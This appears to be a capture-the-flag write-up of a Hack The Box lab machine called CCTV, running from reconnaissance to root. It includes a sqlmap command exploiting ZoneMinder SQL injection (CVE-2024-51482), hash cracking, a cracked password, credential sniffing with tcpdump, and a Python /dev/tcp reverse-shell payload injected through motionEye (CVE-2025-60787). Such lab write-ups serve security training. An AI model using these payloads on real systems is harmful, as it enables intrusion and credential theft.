Overview

The machine starts easy with admin panel discovery with default creds, the admin panel was vulnerable to SQL Injection attack which helped us to exfiltrate hashes from the database and by cracking one of those hashes we could get an SSH shell From here we can find files with a capability that helped us to get a hold of another user credentials After Enumeration we found an open port that hosts another vulnerable service, this service is running as root and we were able to get shell as a root

Enumeration

as usual gonna start with our nmap

bash
jimmex@attacker  nmap -sC -sV -vv -oA initial 10.129.18.51
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-30 15:14 EET
NSE: Loaded 157 scripts for scanning.                                             
NSE: Script Pre-scanning.                                                                       
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 15:14
Completed NSE at 15:14, 0.00s elapsed
< snip>
Nmap scan report for 10.129.18.51
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2026-03-30 15:14:14 EET for 76s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)   
| ssh-hostkey:
| 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
| _ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDZ15GCLPzC4gTM0nqzpUbr/2L77bM1C9sbBecivQPX/KcKvJrP88peCJXwTug7T/EORHr7M7JeHtMQJ6hYihFA=
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.58
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
| _http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel

so we go only 2 ports in the initial scan so lets just run a full scan while we inspect the site Pasted image 20260330152105.png and when we click that staff login we get redirected to zone minder login page Pasted image 20260330152330.png and by looking at the source code we got this that reveals some directories might come in handy later (don't jump into rabbit holes to quickly)

js
Servers[0] = new Server({"Id":null,"Name":"","Protocol":"http","Hostname":"cctv.htb","Port":"80","PathToIndex":"\/zm\/index.php","PathToZMS":"\/zm\/cgi-bin\/nph-zms","PathToApi":"\/zm\/api","zmaudit":1,"zmstats":1,"zmtrigger":0,"zmeventnotification":0});

just one fast check both /zm/api and /zm/cgi-bin-nph-zms returns 403 unauthorized back to the login page and trying default creds admin:admin we got in Pasted image 20260330155543.png and we see we're running v1.37.63 so lets look that up and there is a Critical CVE

Foothold

CVE-2024-51482

the CVE affects function of web/ajax/event.php and causes boolean-based SQL injection the vulnerable function is removetag

php
  case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }
    ajaxResponse();

as you can see $tagId comes directly from $_REQUEST['tid'] with no sanitization which is classic SQLi but the other queries use parameterized ? placeholders correctly Pasted image 20260330161942.png and as you can see it is vulnerable now it's gonna be a mess to exploit this manually cause we exfiltrate character by character using something like this ASCII(SUBSTRING((SELECT password FROM Users LIMIT 0,1), 1, 1)) so i will just use sqlmap instead now that we know what is the vulnerable param we can exfiltrate data i first dumped databases

bash
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" --cookie="ZMSESSID=qjk7s67vo4ep73arv6vi9q2s8a" --technique=T --dbms=mysql --dbs

Pasted image 20260330164723.png

just make sure whenever it asks you whether to merge the cookie you gave and the one set in Set-Cookie refuse cause your cookie gives admin access but sqlmap's one probably low privs

it took a lot of time to retrieve the DB names and i couldn't wait that long again so i took a wild guess that it would be Username and Password columns in Users table in zm database Pasted image 20260330163255.png and we got 3 usernames so probably only mark will be crackable so lets try it first and it is starting with $2y$ which might be any format of bcrypt but since there is an ssh port open and there is no session to zm rather than admin session so i said it would be Blowfish Operating system hash and here is how i knew there is no other users logged in Pasted image 20260330163833.png

Hash Cracking

so lets crack hashcat -m 3200 mark.hash /usr/share/wordlists/rockyou.txt usually bcrypt hashes take too long to be cracked that's why i hate it but after a little why we got the pass Pasted image 20260330164116.png

Foothold

and sshpass -p 'opensesame' ssh mark@cctv.htb and we got in as mark but we don't get the flag and by looking at the home directory we get sa_mark home directory so that's probably what we'll be targeting nothing too interesting except that there is too much ports open internally Pasted image 20260330171410.png you shouldn't have all these just to host a site like that so i forwarded the strange ones locally

bash
jimmex@attacker ~/htb/labs/CCTV  ssh -L 7999:127.0.0.1:7999 -L 9081:127.0.0.1:9081 -L 8765:127.0.0.1:8765 mark@cctv.htb

now we can access those ports from our attack machine using localhost:port_num and found that Motion 4.7.1 running on 7999 and motion eye running on 8765 with v0.43.1b4 which is vulnerable to RCE

Lateral Movement (at least i thought)

CVE-2025-60787

Shell commands are injected into configuration fields in the motionEye, the root cause is lack of sanitization in config.py before writing to configuration files via ConfigHandler.set_config() but it is authenticated RCE and we need admin access so back to ssh to try and find any password in the motion configuration Pasted image 20260330172942.png and we get admin password so lets exploit it What this exploit does is simple but it is better to be automated first we get a camera list by hitting /config/list which gets these things

  • camera name, camera id, root_directory which we'll use to get a shell

then try to inject a shell like this payload = f"$(python3 -c \"import os;os.system('{interpreter} -c \\\"{interpreter} -i >& /dev/tcp/{args.host}/{args.port} 0>&1\\\"')\").%Y-%m-%d-%H-%M-%S" in the vulnerable parameter image_file_name and it also sets the next settings

plaintext
"capture_mode": "interval-snapshots"
"snapshot_interval": "10"

which tells motion to take a snapshot every 10 seconds which will trigger the shell Pasted image 20260330173909.png and we got root Pasted image 20260330174055.png

Back to the Intended way

i though this will drop us in sa_mark or something but it dropped us right into root so let's hit back to mark and try to go the intended way some if i miss any thing like this i try to go and use linpeas cause it is just easier and may catch stuff I've forgotten about and after giving it a try i found that i can sniff traffic using tcpdump Pasted image 20260330175609.png and why does this happen ? because we are given cap_net_raw=eip capability over the tcpdump binary Pasted image 20260330175804.png The cap_net_raw=ep capability allows a Linux process to use raw and packet sockets like ping, tcpdump, or any script that need socket without running as root

  • e means effective, p permitted so lets run tcpdump and see what we can do when i locked at the NICs i found that there is a docker container that i didn't notice at the first time (I'm off today) so lets try to sniff on that card to see if we can get something but docker didn't show anything so time to catch all

usually i start with any docker container or any other interfaces and then comeback to loopback cause it might have a lot of traffic and would need me to create a pcap file and download it and open wireshark bla bla bla so lets avoid that if we can

tcpdump -i any -nn -A tcpand we got cleartext Pasted image 20260330181208.png and this is how we should've went in the first place now if we try those creds with su Pasted image 20260330181402.png

Resources